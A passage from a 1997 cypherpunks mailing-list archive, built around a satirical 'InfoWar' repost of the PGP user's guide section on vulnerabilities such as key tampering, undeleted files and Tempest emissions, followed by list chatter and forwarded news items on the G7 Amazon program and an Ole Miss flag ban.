intruders, or because there just aren't any sufficiently interested
intruders. Some Unix systems are safe because they are only
used by one user-- there are even some notebook computers  running
Unix. It would be unreasonable to simply exclude PGP from running
on all Unix systems.

PGP is not designed to protect your data while it is in plaintext
 form on a compromised system. Nor can it prevent an intruder
from using sophisticated measures to read your secret key
while it is being used. You will just have to recognize these
risks on multi-user systems, and adjust your expectations
and behavior  accordingly. Perhaps your situation is such
that you should consider  running PGP only on an isolated
single-user system under your direct physical control. That's
what I do, and that's what I recommend. 

Traffic Analysis

Even if the attacker cannot read the contents of your encrypted
 messages, he may be able to infer at least some useful information
by observing where the messages come from and where they
are going, the size of the messages, and the time of day
the messages are sent.  This is analogous to the attacker
looking at your long distance phone bill to see who you called
and when and for how long, even though the actual content
of your calls is unknown to the attacker. This is called
traffic analysis. PGP alone does not protect against traffic  analysis.
Solving this problem would require specialized  communication
protocols designed to reduce exposure to traffic  analysis
in your communication environment, possibly with some  cryptographic
assistance.


Protecting Against Bogus Timestamps
A somewhat obscure vulnerability of PGP involves dishonest
users  creating bogus timestamps on their own public key
certificates and signatures. You can skip over this section
if you are a casual user and aren't deeply into obscure public
key protocols.

There's nothing to stop a dishonest user from altering the date
and time setting of his own system's clock, and generating
his own public key certificates and signatures that appear
to have been created at a different time. He can make it
appear that he signed something  earlier or later than he
actually did, or that his public/secret key pair was created
earlier or later. This may have some legal or  financial
benefit to him, for example by creating some kind of  loophole
that might allow him to repudiate a signature.

I think this problem of falsified timestamps in digital signatures
is no worse than it is already in handwritten signatures.
Anyone may write a date next to their handwritten signature
on a contract with any date they choose, yet no one seems
to be alarmed over this state of affairs. In some cases,
an "incorrect" date on a handwritten signature
might not be associated with actual fraud. The timestamp  might
be when the signator asserts that he signed a document, or maybe
when he wants the signature to go into effect.

In situations where it is critical that a signature be trusted
to have the actual correct date, people can simply use notaries
to  witness and date a handwritten signature. The analog
to this in digital signatures is to get a trusted third party
to sign a signature certificate, applying a trusted timestamp.
No exotic or overly formal protocols are needed for this.
Witnessed signatures  have long been recognized as a legitimate
way of determining when a document was signed.

A trustworthy Certifying Authority or notary could create notarized
 signatures with a trustworthy timestamp. This would not
necessarily  require a centralized authority. Perhaps any
trusted introducer or disinterested party could serve this
function, the same way real  notary publics do now. When
a notary signs other people's signatures, it creates a signature
certificate of a signature  certificate. This would serve
as a witness to the signature the same way real notaries
now witness handwritten signatures. The notary  could enter
the detached signature certificate (without the actual  whole
document that was signed) into a special log controlled by the notary.
Anyone can read this log. The notary's signature would have a
trusted timestamp, which might have greater credibility or more
 legal significance than the timestamp in the original signature.

There is a good treatment of this topic in Denning's 1983 article
in IEEE Computer (see references). Future enhancements to
PGP might  have features to easily manage notarized signatures
of signatures,  with trusted timestamps.

Cryptanalysis

An expensive and formidable cryptanalytic attack could possibly
be mounted by someone with vast supercomputer resources,
such as a Government intelligence agency. They might crack
your RSA key by using some new secret factoring breakthrough.
Perhaps so, but it is noteworthy that the US Government trusts
the RSA algorithm enough in some cases to use it to protect
its own nuclear weapons, according to Ron Rivest. And civilian
academia has been intensively attacking it without success
since 1978. 

Perhaps the Government has some classified methods of cracking
the IDEA(TM) conventional encryption algorithm used in PGP.
This is every cryptographer's worst nightmare. There can
be no absolute  security guarantees in practical cryptographic
implementations. 

Still, some optimism seems justified. The IDEA algorithm's designers
 are among the best cryptographers in Europe. It has had
extensive  security analysis and peer review from some of
the best cryptanalysts  in the unclassified world. It appears
to have some design advantages  over the DES in withstanding
differential and linear cryptanalysis,  which have both been
used to crack the DES. 

Besides, even if this algorithm has some subtle unknown weaknesses,
 PGP compresses the plaintext before encryption, which should
greatly  reduce those weaknesses. The computational workload
to crack it is likely to be much more expensive than the
value of the message. 

If your situation justifies worrying about very formidable attacks
of this caliber, then perhaps you should contact a data security
 consultant for some customized data security approaches
tailored to your special needs. Boulder Software Engineering,
whose address and phone are given at the end of this document,
can provide such  services. 

In summary, without good cryptographic protection of your data
 communications, it may have been practically effortless
and perhaps  even routine for an opponent to intercept your
messages, especially  those sent through a modem or E-mail
system. If you use PGP and  follow reasonable precautions,
the attacker will have to expend far more effort and expense
to violate your privacy. 

If you protect yourself against the simplest attacks, and you
feel confident that your privacy is not going to be violated
by a determined and highly resourceful attacker, then you'll
probably be safe using PGP. PGP gives you Pretty Good Privacy.

Copyright Anonymous <prz@acm.org>


Son, if you think it appropriate, you might tell your mom: The
Aztecs were extremely clean. The Spanish conquistadors were extremely
dirty. The Spaniards won.

LMBoyd Web Site 


"The Xenix Chainsaw Massacre"

"WebWorld & the Mythical Circle of Eunuchs"

"InfoWar (Part III of 'The True Story of the InterNet')

Soviet Union Sickle of Eunuchs Secret WebSite









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Philip R. Zimmermann" <prz@acm.org>
Date: Sun, 26 Oct 1997 17:18:59 +0800
To: cypherpunks@toad.com
Subject: InfoWar Epilogue 7 / TEXT
Message-ID: <345306C3.3014@acm.org>
MIME-Version: 1.0
Content-Type: text/plain



----------------------------------------------------------------------------
----------------------------------------------------------------------------

                       The True Story of the InterNet
                                  Part III

                                   InfoWar

                  Final Frontier of the Digital Revolution

                     Behind the ElectroMagnetic Curtain

                        by TruthMonger <tm@dev.null>

Copyright 1997 Pearl Publishing
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                          InfoWar Table of Contents

   * Epilogue
   * I Broke PGP!

----------------------------------------------------------------------------

               * When ignorance is bliss, it is folly to be wise.

----------------------------------------------------------------------------

                                  Epilogue
----------------------------------------------------------------------------

Discoveries of any great moment in mathematics and other disciplines, once
they are discovered, are seen to be extremely simple and obvious, and make
everybody, including their discoverer, appear foolish for not having
discovered them before. It is all too often forgotten that the ancient
symbol for prenascence of the world is a fool, and that foolishness, being a
divine state, is not a condition to be either proud or ashamed of.

Unfortunately, we find systems of education today that have departed so far
from the plain truth that they now teach us to be proud of what we know and
ashamed of ignorance. This is doubly corrupt. It is corrupt not only because
pride in knowledge is to put an effective barrier against any advance upon
what is already known, since it makes one ashamed to look beyond the bounds
imposed by one's ignorance.

To any person prepared to enter with respect into the realm of his great and
universal ignorance, the secrets of being will eventually unfold, and they
will do so in a measure according to his freedom from natural and
indoctrinated shame in his respect of their revelation.

In the face of the strong, and indeed violent, social pressures against it,
few people have been prepared to take this simple and satisfying course
toward sanity. And in a society where a prominent psychiatrist can advertise
that, given the chance, he would have treated Newton to electric shock
therapy, who can blame any person for being afraid to do so?

To arrive at the simplest truth, as Newton knew and practiced, requires
years of contemplation. Not an activity. Not reasoning. Not calculating. Not
busy behavior of any kind. Not reading. Not talking. Not making an effort.
Not thinking. Simply bearing in mind what it is one needs to know. And yet
those with the courage to tread this path to real discovery are not only
offered practically no guidance on how to do so, they are actively
discouraged and have to set about it in secret, pretending meanwhile to be
diligently engaged in the frantic diversions and to conform with the
deadening personal opinions that are being continually thrust upon them.

In these circumstances, the discoveries that any person is able to undertake
represent the places where, in the face of induced psychosis, he has, by his
own faltering and unaided efforts, returned to sanity. Painfully, and even
dangerously, maybe. But nonetheless returned, however furtively.-G. Spencer
Brown.*

* The Laws of Form, London: Geo. Allen & Unwin, 1969.
----------------------------------------------------------------------------

"Whatever you do will be insignificant, but it is very important that you do
                                    it."
                               -Mahatma Gandhi
----------------------------------------------------------------------------
----------------------------------------------------------------------------

                                I Broke PGP!

                                   by RTFM

How to Protect Public Keys from Tampering

In a public key cryptosystem, you don't have to protect public keys from
exposure. In fact, it's better if they are widely disseminated. But it is
important to protect public keys from tampering, to make sure that a public
key really belongs to whom it appears to belong to. This may be the most
important vulnerability of a public-key cryptosystem.

This whole business of protecting public keys from tampering is the single
most difficult problem in practical public key applications.  It is the
Achilles' heel of public key cryptography, and a lot of software complexity
is tied up in solving this one problem.

You should use a public key only after you are sure that it is a good public
key that has not been tampered with, and actually belongs to the person it
claims to. You can be sure of this if you got this public key certificate
directly from its owner, or if it bears the signature of someone else that
you trust, from whom you already have a good public key. Also, the user ID
should have the full name of the key's owner, not just her first name.

No matter how tempted you are-- and you will be tempted-- never, NEVER give
in to expediency and trust a public key you downloaded from a bulletin
board, unless it is signed by someone you trust.  That uncertified public
key could have been tampered with by anyone, maybe even by the system
administrator of the bulletin board.
----------------------------------------------------------------------------

SECONDS: What is the hysteria to protect children from so-called obscene
stuff?

GINSBERG: It's a demagogic political issue that can be used to divert
attention from deeper corruption's like the S&L scandal or the rape of the
planet by the post-industrial nations. Although we conquered literary
censorship in books between the years '58 and '62 when, through a series of
trials, Henry Miller , Lady Chatterley's Lover by D.H. Lawrence, Naked Lunch
and Howl were all cleared and declared to be protected by the Constitution.
That same kind of censorship which was used on literature and film now only
applies to the main marketplace of ideas, electronic broadcasting.

SECONDS: Why do they want to censor things? Why don't they want people to
become
sexually excited?

GINSBERG: As Plato pointed out, "When the mode of music changes, the walls
of the city shake." So when you have modern free speech in idiomatic
language that people can understand and are interested in, immediately it
becomes a political issue. Demagogues want to hush it up because people get
to know too much. If you can get people by the balls you control their most
deep-seated emotions, which are erotic. Once you control that you control
all the other emotions.
You take emotional control, blank out the Eros, and substitute a lot of
violence.
----------------------------------------------------------------------------

                               Vulnerabilities
                               ===============

No data security system is impenetrable. PGP can be circumvented in a
variety of ways. In any data security system, you have to ask  yourself if
the information you are trying to protect is more  valuable to your attacker
than the cost of the attack. This should  lead you to protecting yourself
from the cheapest attacks, while not worrying about the more expensive
attacks.

Some of the discussion that follows may seem unduly paranoid, but such an
attitude is appropriate for a reasonable discussion of  vulnerability
issues.

Compromised Pass Phrase and Secret Key

Probably the simplest attack is if you leave your pass phrase for your
secret key written down somewhere. If someone gets it and also gets your
secret key file, they can read your messages and make  signatures in your
name.

Don't use obvious passwords that can be easily guessed, such as the names of
your kids or spouse. If you make your pass phrase a single word, it can be
easily guessed by having a computer try all the words in the dictionary
until it finds your password. That's why a pass phrase is so much better
than a password. A more sophisticated  attacker may have his computer scan a
book of famous quotations to find your pass phrase. An easy to remember but
hard to guess pass phrase can be easily constructed by some creatively
nonsensical  sayings or very obscure literary quotes.

For further details, see the section "How to Protect Secret Keys
from Disclosure" in the Essential Topics volume of the PGP User's Guide.

Public Key Tampering

A major vulnerability exists if public keys are tampered with. This may be
the most crucially important vulnerability of a public key cryptosystem, in
part because most novices don't immediately recognize it. The importance of
this vulnerability, and appropriate  hygienic countermeasures, are detailed
in the section "How to Protect Public Keys from Tampering" in the Essential
Topics volume.

To summarize: When you use someone's public key, make certain it has not
been tampered with. A new public key from someone else should be trusted
only if you got it directly from its owner, or if it has been signed by
someone you trust. Make sure no one else can tamper with your own public key
ring. Maintain physical control of both your  public key ring and your
secret key ring, preferably on your own  personal computer rather than on a
remote timesharing system. Keep a backup copy of both key rings.

"Not Quite Deleted" Files

Another potential security problem is caused by how most operating  systems
delete files. When you encrypt a file and then delete the original plaintext
file, the operating system doesn't actually  physically erase the data. It
merely marks those disk blocks as deleted, allowing the space to be reused
later. It's sort of like discarding sensitive paper documents in the paper
recycling bin  instead of the paper shredder. The disk blocks still contain
the original sensitive data you wanted to erase, and will probably
 eventually be overwritten by new data at some point in the future.  If an
attacker reads these deleted disk blocks soon after they have been
deallocated, he could recover your plaintext.

In fact this could even happen accidentally, if for some reason  something
went wrong with the disk and some files were accidentally  deleted or
corrupted. A disk recovery program may be run to recover  the damaged files,
but this often means some previously deleted files are resurrected along
with everything else. Your confidential files that you thought were gone
forever could then reappear and be  inspected by whomever is attempting to
recover your damaged disk.  Even while you are creating the original message
with a word processor or text editor, the editor may be creating multiple
 temporary copies of your text on the disk, just because of its  internal
workings. These temporary copies of your text are deleted  by the word
processor when it's done, but these sensitive fragments  are still on your
disk somewhere.

Let me tell you a true horror story. I had a friend, married with young
children, who once had a brief and not very serious affair.  She wrote a
letter to her lover on her word processor, and deleted  the letter after she
sent it. Later, after the affair was over, the floppy disk got damaged
somehow and she had to recover it because it contained other important
documents. She asked her husband to  salvage the disk, which seemed
perfectly safe because she knew she had deleted the incriminating letter.
Her husband ran a commercial  disk recovery software package to salvage the
files. It recovered  the files all right, including the deleted letter. He
read it, which  set off a tragic chain of events.

The only way to prevent the plaintext from reappearing is to somehow  cause
the deleted plaintext files to be overwritten. Unless you know for sure that
all the deleted disk blocks will soon be reused, you must take positive
steps to overwrite the plaintext file, and also any fragments of it on the
disk left by your word processor. You can overwrite the original plaintext
file after encryption by using the PGP -w (wipe) option. You can take care
of any fragments of the  plaintext left on the disk by using any of the disk
utilities  available that can overwrite all of the unused blocks on a disk.
For example, the Norton Utilities for MSDOS can do this.

Even if you overwrite the plaintext data on the disk, it may still
be possible for a resourceful and determined attacker to recover the data.
Faint magnetic traces of the original data remain on the disk after it has
been overwritten. Special sophisticated disk recovery  hardware can
sometimes be used to recover the data.

Viruses and Trojan Horses

Another attack could involve a specially-tailored hostile computer  virus or
worm that might infect PGP or your operating system. This hypothetical virus
could be designed to capture your pass phrase or secret key or deciphered
messages, and covertly write the captured  information to a file or send it
through a network to the virus's  owner. Or it might alter PGP's behavior so
that signatures are not properly checked. This attack is cheaper than
cryptanalytic attacks.

Defending against this falls under the category of defending against  viral
infection generally. There are some moderately capable  anti-viral products
commercially available, and there are hygienic  procedures to follow that
can greatly reduce the chances of viral  infection. A complete treatment of
anti-viral and anti-worm countermeasures is beyond the scope of this
document. PGP has no defenses against viruses, and assumes your own personal
computer is a trustworthy execution environment. If such a virus or worm
actually  appeared, hopefully word would soon get around warning everyone.

Another similar attack involves someone creating a clever imitation  of PGP
that behaves like PGP in most respects, but doesn't work the way it's
supposed to. For example, it might be deliberately crippled  to not check
signatures properly, allowing bogus key certificates to be accepted. This
"Trojan horse" version of PGP is not hard for an attacker to create, because
PGP source code is widely available, so anyone could modify the source code
and produce a lobotomized zombie imitation PGP that looks real but does the
bidding of its diabolical  master. This Trojan horse version of PGP could
then be widely  circulated, claiming to be from me. How insidious.

You should make an effort to get your copy of PGP from a reliable  source,
whatever that means. Or perhaps from more than one independent source, and
compare them with a file comparison utility.

There are other ways to check PGP for tampering, using digital  signatures.
If someone you trust signs the executable version of PGP, vouching for the
fact that it has not been infected or tampered  with, you can be reasonably
sure that you have a good copy. You  could use an earlier trusted version of
PGP to check the signature on a later suspect version of PGP. But this will
not help at all if your operating system is infected, nor will it detect if
your  original copy of PGP.EXE has been maliciously altered in such a way as
to compromise its own ability to check signatures. This test also assumes
that you have a good trusted copy of the public key that you use to check
the signature on the PGP executable.

I recommend you not trust your copy of PGP unless it was originally
 distributed by MIT or ViaCrypt, or unless it comes with a digitally  signed
endorsement from me. Every new version comes with one or more digital
signatures in the distribution package, signed by the  originator of that
release package. This is usually someone representing MIT or ViaCrypt, or
whoever released that version.  Check the signatures on the version that you
get. I have actually  seen several bogus versions of PGP distribution
packages, even from apparently reliable freeware distribution channels such
as CD-ROM  distributors and CompuServe. Always check the signature when you
get a new version.

Physical Security Breach

A physical security breach may allow someone to physically acquire  your
plaintext files or printed messages. A determined opponent  might accomplish
this through burglary, trash-picking, unreasonable  search and seizure, or
bribery, blackmail or infiltration of your  staff. Some of these attacks may
be especially feasible against  grassroots political organizations that
depend on a largely volunteer  staff. It has been widely reported in the
press that the FBI's  COINTELPRO program used burglary, infiltration, and
illegal bugging  against antiwar and civil rights groups. And look what
happened at the Watergate Hotel.

Don't be lulled into a false sense of security just because you have a
cryptographic tool. Cryptographic techniques protect data only  while it's
encrypted-- direct physical security violations can still compromise
plaintext data or written or spoken information.

This kind of attack is cheaper than cryptanalytic attacks on PGP.

Tempest Attacks

Another kind of attack that has been used by well-equipped opponents
 involves the remote detection of the electromagnetic signals from  your
computer. This expensive and somewhat labor-intensive attack is probably
still cheaper than direct cryptanalytic attacks. An  appropriately
instrumented van can park near your office and remotely  pick up all of your
keystrokes and messages displayed on your  computer video screen. This would
compromise all of your passwords,  messages, etc. This attack can be
thwarted by properly shielding all of your computer equipment and network
cabling so that it does not emit these signals. This shielding technology is
known as "Tempest",  and is used by some Government agencies and defense
contractors.  There are hardware vendors who supply Tempest shielding
commercially,  although it may be subject to some kind of Government
licensing. Now why do you suppose the Government would restrict access to
Tempest  shielding?

Exposure on Multi-user Systems
PGP was originally designed for a single-user MSDOS machine under  your
direct physical control. I run PGP at home on my own PC, and unless someone
breaks into my house or monitors my electromagnetic  emissions, they
probably can't see my plaintext files or secret keys.

But now PGP also runs on multi-user systems such as UNIX and VAX/VMS.  On
multi-user systems, there are much greater risks of your plaintext  or keys
or passwords being exposed. The Unix system administrator or a clever
intruder can read your plaintext files, or perhaps even use special software
to covertly monitor your keystrokes or read what's  on your screen. On a
Unix system, any other user can read your  environment information remotely
by simply using the Unix "ps"  command. Similar problems exist for MSDOS
machines connected on a local area network. The actual security risk is
dependent on your particular situation. Some multi-user systems may be safe
because  all the users are trusted, or because they have system security
 measures that are safe enough to withstand the attacks available to the
intruders, or because there just aren't any sufficiently interested
intruders. Some Unix systems are safe because they are only used by one
user-- there are even some notebook computers  running Unix. It would be
unreasonable to simply exclude PGP from running on all Unix systems.

PGP is not designed to protect your data while it is in plaintext  form on a
compromised system. Nor can it prevent an intruder from using sophisticated
measures to read your secret key while it is being used. You will just have
to recognize these risks on multi-user systems, and adjust your expectations
and behavior  accordingly. Perhaps your situation is such that you should
consider  running PGP only on an isolated single-user system under your
direct physical control. That's what I do, and that's what I recommend.

Traffic Analysis

Even if the attacker cannot read the contents of your encrypted  messages,
he may be able to infer at least some useful information by observing where
the messages come from and where they are going, the size of the messages,
and the time of day the messages are sent.  This is analogous to the
attacker looking at your long distance phone bill to see who you called and
when and for how long, even though the actual content of your calls is
unknown to the attacker. This is called traffic analysis. PGP alone does not
protect against traffic  analysis. Solving this problem would require
specialized  communication protocols designed to reduce exposure to traffic
 analysis in your communication environment, possibly with some
 cryptographic assistance.

Protecting Against Bogus Timestamps
A somewhat obscure vulnerability of PGP involves dishonest users  creating
bogus timestamps on their own public key certificates and signatures. You
can skip over this section if you are a casual user and aren't deeply into
obscure public key protocols.

There's nothing to stop a dishonest user from altering the date and time
setting of his own system's clock, and generating his own public key
certificates and signatures that appear to have been created at a different
time. He can make it appear that he signed something  earlier or later than
he actually did, or that his public/secret key pair was created earlier or
later. This may have some legal or  financial benefit to him, for example by
creating some kind of  loophole that might allow him to repudiate a
signature.

I think this problem of falsified timestamps in digital signatures is no
worse than it is already in handwritten signatures. Anyone may write a date
next to their handwritten signature on a contract with any date they choose,
yet no one seems to be alarmed over this state of affairs. In some cases, an
"incorrect" date on a handwritten signature might not be associated with
actual fraud. The timestamp  might be when the signator asserts that he
signed a document, or maybe when he wants the signature to go into effect.

In situations where it is critical that a signature be trusted to have the
actual correct date, people can simply use notaries to  witness and date a
handwritten signature. The analog to this in digital signatures is to get a
trusted third party to sign a signature certificate, applying a trusted
timestamp. No exotic or overly formal protocols are needed for this.
Witnessed signatures  have long been recognized as a legitimate way of
determining when a document was signed.

A trustworthy Certifying Authority or notary could create notarized
 signatures with a trustworthy timestamp. This would not necessarily
 require a centralized authority. Perhaps any trusted introducer
or disinterested party could serve this function, the same way real  notary
publics do now. When a notary signs other people's signatures, it creates a
signature certificate of a signature  certificate. This would serve as a
witness to the signature the same way real notaries now witness handwritten
signatures. The notary  could enter the detached signature certificate
(without the actual  whole document that was signed) into a special log
controlled by the notary. Anyone can read this log. The notary's signature
would have a trusted timestamp, which might have greater credibility or more
 legal significance than the timestamp in the original signature.

There is a good treatment of this topic in Denning's 1983 article in IEEE
Computer (see references). Future enhancements to PGP might  have features
to easily manage notarized signatures of signatures,  with trusted
timestamps.

Cryptanalysis

An expensive and formidable cryptanalytic attack could possibly be mounted
by someone with vast supercomputer resources, such as a Government
intelligence agency. They might crack your RSA key by using some new secret
factoring breakthrough. Perhaps so, but it is noteworthy that the US
Government trusts the RSA algorithm enough in some cases to use it to
protect its own nuclear weapons, according to Ron Rivest. And civilian
academia has been intensively attacking it without success since 1978.

Perhaps the Government has some classified methods of cracking the IDEA(TM)
conventional encryption algorithm used in PGP. This is every cryptographer's
worst nightmare. There can be no absolute  security guarantees in practical
cryptographic implementations.

Still, some optimism seems justified. The IDEA algorithm's designers  are
among the best cryptographers in Europe. It has had extensive  security
analysis and peer review from some of the best cryptanalysts  in the
unclassified world. It appears to have some design advantages  over the DES
in withstanding differential and linear cryptanalysis,  which have both been
used to crack the DES.

Besides, even if this algorithm has some subtle unknown weaknesses,  PGP
compresses the plaintext before encryption, which should greatly  reduce
those weaknesses. The computational workload to crack it is likely to be
much more expensive than the value of the message.

If your situation justifies worrying about very formidable attacks of this
caliber, then perhaps you should contact a data security  consultant for
some customized data security approaches tailored to your special needs.
Boulder Software Engineering, whose address and phone are given at the end
of this document, can provide such  services.

In summary, without good cryptographic protection of your data
 communications, it may have been practically effortless and perhaps  even
routine for an opponent to intercept your messages, especially  those sent
through a modem or E-mail system. If you use PGP and  follow reasonable
precautions, the attacker will have to expend far more effort and expense to
violate your privacy.

If you protect yourself against the simplest attacks, and you feel confident
that your privacy is not going to be violated by a determined and highly
resourceful attacker, then you'll probably be safe using PGP. PGP gives you
Pretty Good Privacy.

Copyright Anonymous <prz@acm.org>
----------------------------------------------------------------------------

Son, if you think it appropriate, you might tell your mom: The Aztecs were
extremely clean. The Spanish conquistadors were extremely dirty. The
Spaniards won.

LMBoyd Web Site
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Callas <jon@pgp.com>
Date: Sun, 26 Oct 1997 18:18:34 +0800
To: cypherpunks@toad.com
Subject: I Broke PGP!!!
Message-ID: <345316D6.2F73@pgp.com>
MIME-Version: 1.0
Content-Type: text/plain



Sorry...

        Jon

-----
Jon Callas                                  jon@pgp.com
Chief Scientist                             555 Twin Dolphin Drive
Pretty Good Privacy, Inc.                   Suite 570
(415) 596-1960                              Redwood Shores, CA 94065
Fingerprints: D1EC 3C51 FCB1 67F8 4345 4A04 7DF9 C2E6 F129 27A9 (DSS)
              665B 797F 37D1 C240 53AC 6D87 3A60 4628           (RSA)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 26 Oct 1997 17:42:00 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <3b12f82f7fbe5b11957530ac03ed49ea@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



It was a dark and misty night.        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sun, 26 Oct 1997 20:16:44 +0800
To: cypherpunks@cyberpass.net
Subject: Re: poverty traps (Re: Sa
Message-ID: <1.5.4.32.19971026121729.00b3a3c0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Jonathan Wienke wrote:

>that socialist cesspool New York City.

This is true, NYC is an SC. My pinko nose is barely above the 
surface, for it's a hump treading the globe's shipped in effluvia with 
concrete boots made of the NIMBYs' unpaid share. And you never
get used to it, for sure the waves caused by tens of thousands 
of NIMBYs cannonballing in for X-rated sin lacking IMBY.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Oct 1997 21:35:11 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: G7 to meet in Amazon [CNN]
Message-ID: <199710261400.IAA32530@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>               G7 TO MEET IN AMAZON TO REVIEW DEVELOPMENT PROGRAM
>                                        
>      G7 graphic October 25, 1997
>      Web posted at: 8:03 p.m. EDT (0003 GMT)
>      
>      BRASILIA, Brazil (Reuters) -- Brazil and the Group of Seven
>      industrialized nations meet in the Amazonian capital of Manaus next
>      week to agree on the next stage of a program promoting sustainable
>      development in the rain forest.
>      
>      The annual meeting of G7 donors to the so-called Pilot Program
>      (G7-PP), administered by the World Bank, begins formally on Tuesday,
>      with Monday dedicated to presentations by Brazilian government
>      officials of projects in the Amazon.
>      
>      "When we speak of the future, that means completing and
>      consolidating current projects and thinking about Phase Two of the
>      G7-PP," Brazilian Environment Minister Gustavo Krause said.
>      
>      Starting six years ago, the program has given out $181.3 million of
>      a total of $250 million pledged to fund projects such as the
>      demarcation of Indian reserves and protecting fishing communities
>      from large-scale competitors.
>      
>      The rest is budgeted, one of the aims of the three-day meeting will
>      be to identify new sources of money and coax fresh funds out of the
>      participants -- Germany, the United States, the European Union,
>      Japan, Italy, the Netherlands, Britain and Canada.
>      
>      Germany has financed the bulk of projects, contributing 35 percent
>      of the total and even more as the principal economic power in the
>      European Union.
>      
>      The United States, despite spending pledges made by President
>      Clinton on a visit to Brazil earlier this month, lags in fourth
>      place, behind the EU and Japan.
>      
>      Environmental pressure groups said the most important aspect of the
>      meeting is a proposal to establish zones in the gigantic Amazon
>      river basin. Map of Brazil 
>      
>      They say Pilot Program managers are resigned to the fact Brazil will
>      pursue large-scale infrastructure projects in the rain forest,
>      including paving a road from Manaus to Venezuela and river-widening
>      projects to boost soybean exports.
>      
>      "It seems important that the realities of the Amazon region and of
>      its political weight and significance must be taken into account if
>      effective conservation of at least a good part of the Amazon are to
>      be achieved," the World Bank's Rain Forest Unit said in a memo.
>      
>      The infrastructure projects basically correspond to what the bank
>      calls "development corridors" where the "objective is to increase
>      and geographically concentrate economic activity."
>      
>      Such corridors would be counter-balanced by "conservation corridors"
>      where biodiversity would be protected.
>      
>      In between, in so-called inter-corridor spaces, the Rain Forest Unit
>      suggests policies should make sure economic activity that preserves
>      as much of the forest as possible becomes more attractive than
>      clearing land for agriculture.
>      
>      A concrete task set by the officials meeting in Manaus is to decide
>      when Phase Two of the program will begin.
>      
>      They must also decide what type of transition is needed to blend
>      Phase One projects into a broader, cohesive program that fits into
>      the Brazilian government's plans for the region.
>      
>      Copyright 1997 Reuters Limited. All rights reserved.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 26 Oct 1997 21:35:08 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Flag ban in Mississippi [CNN]
Message-ID: <199710261401.IAA32569@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

>                      FLAG BAN TUGS ON OLE MISS TRADITIONS
>                                        
>      Students wave Confederate flags
>      
>   Confederate banner impedes athletic recruiting
>   
>      October 25, 1997
>      Web posted at: 10:44 p.m. EDT (0244 GMT)
>      
>      From Correspondent Brian Cabell
>      
>      OXFORD, Mississippi (CNN) -- On any given football Saturday, when
>      the Ole Miss Rebels find the end zone and the crowd explodes, you
>      can see Confederate flags being waved.
>      
>      But there are not nearly as many rebel flags as in years past -- and
>      there will soon be even fewer if the University of Mississippi's
>      chancellor has his way.
>      
>      This week, chancellor Robert Khayat ordered a ban on all sticks at
>      athletic events, starting next week. It's ostensibly for safety
>      reasons, but no one is fooled -- it is clearly an attempt to keep
>      out the Confederate flags attached to those sticks. CNN's Brian
>      Cabell reports
>      icon 2 min., 1 sec. VXtreme streaming video
>      
>      At Ole Miss, tradition is grudgingly giving way to the political and
>      social reality that the rebel flag is perceived by some people,
>      particularly African Americans, as a racist symbol.
>      
>      "We're tired of the attention, the negative publicity that we're
>      getting," said athletic director Pete Boone. "I mean, we've got a
>      great university here, a great academic program, and we're being
>      held back from a national perspective because of this Confederate
>      flag."
>      
>      Saturday's football game against Alabama was the first since Khayat
>      ordered the ban. And while the student senate this week also
>      recommended that the rebel flags be left home, they were
>      particularly visible in the student section.
>      
>      "Other people can do things and wave things and it's fine, but if we
>      do it, it seems like it's racist," complained one student. "But it's
>      not racist. We're proud of our Southern heritage."
>      
>      Ironically, many of those who have forsaken the flag are older Ole
>      Miss fans, who express fears about what the Confederate flag in the
>      stands does to the quality of the team on the field.
>      
>      Indeed, Ole Miss football coach Tommy Tuberville has told fans that
>      the university is losing black recruits because of the flag. He says
>      he's gratified that flags are disappearing.
>      
>      "I'm proud of our students and our fans, and I think they understand
>      the situation," he said. "Hopefully, we can continue to make
>      progress."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: David Sternlight <david@sternlight.com>
Date: Mon, 27 Oct 1997 01:25:25 +0800
To: Robert Hettinga <cypherpunks@cyberpass.net
Subject: Re: Orthogonality and Disaster Recovery
In-Reply-To: <v0311077fb078eddd1150@[139.167.130.248]>
Message-ID: <34537A18.9FE77210@sternlight.com>
MIME-Version: 1.0
Content-Type: text/plain



Dunno why I got this since I'm not on the cypherpunks list, but I found it
interesting and worth responding to. (Tim--please repost to the list if my
attempt to do so fails.)

Robert Hettinga wrote:
> 
> --- begin forwarded text
> 
> X-Sender: tcmay@mail.got.net
> Mime-Version: 1.0
> Date: Sat, 25 Oct 1997 13:52:05 -0700
> To: cypherpunks@algebra.com
> From: Tim May <tcmay@got.net>
> Subject: Orthogonality and Disaster Recovery
> Sender: owner-cypherpunks@cyberpass.net
> Precedence: bulk
> Reply-To: Tim May <tcmay@got.net>
> X-Loop: cypherpunks@cyberpass.net
> 
> One of the themes of modern computing I strongly support is that of
> "orthogonality," or clean functionality. A browser should not also try to
> be a money management program. A word processor should not also try to be
> an accounting program.

This is a sensible criterion when the functions are indeed independent. There
are small leakages even there--thus an on-line money management program which
can send inquiries about incomplete transactions to a bank and receive replies
needs a small e-mailer and certainly an Internet interface.

The argument has, however, become polarized for self-serving purposes by
Microsoft. They have linked their Internet Explorer with the OS, claiming the
desktop as the place of commonality. That permits them to require bundling of
the two. They have apparently threatened vendors who don't bundle THEIR
browser on the desktop with pulling their Windows license. They have refused
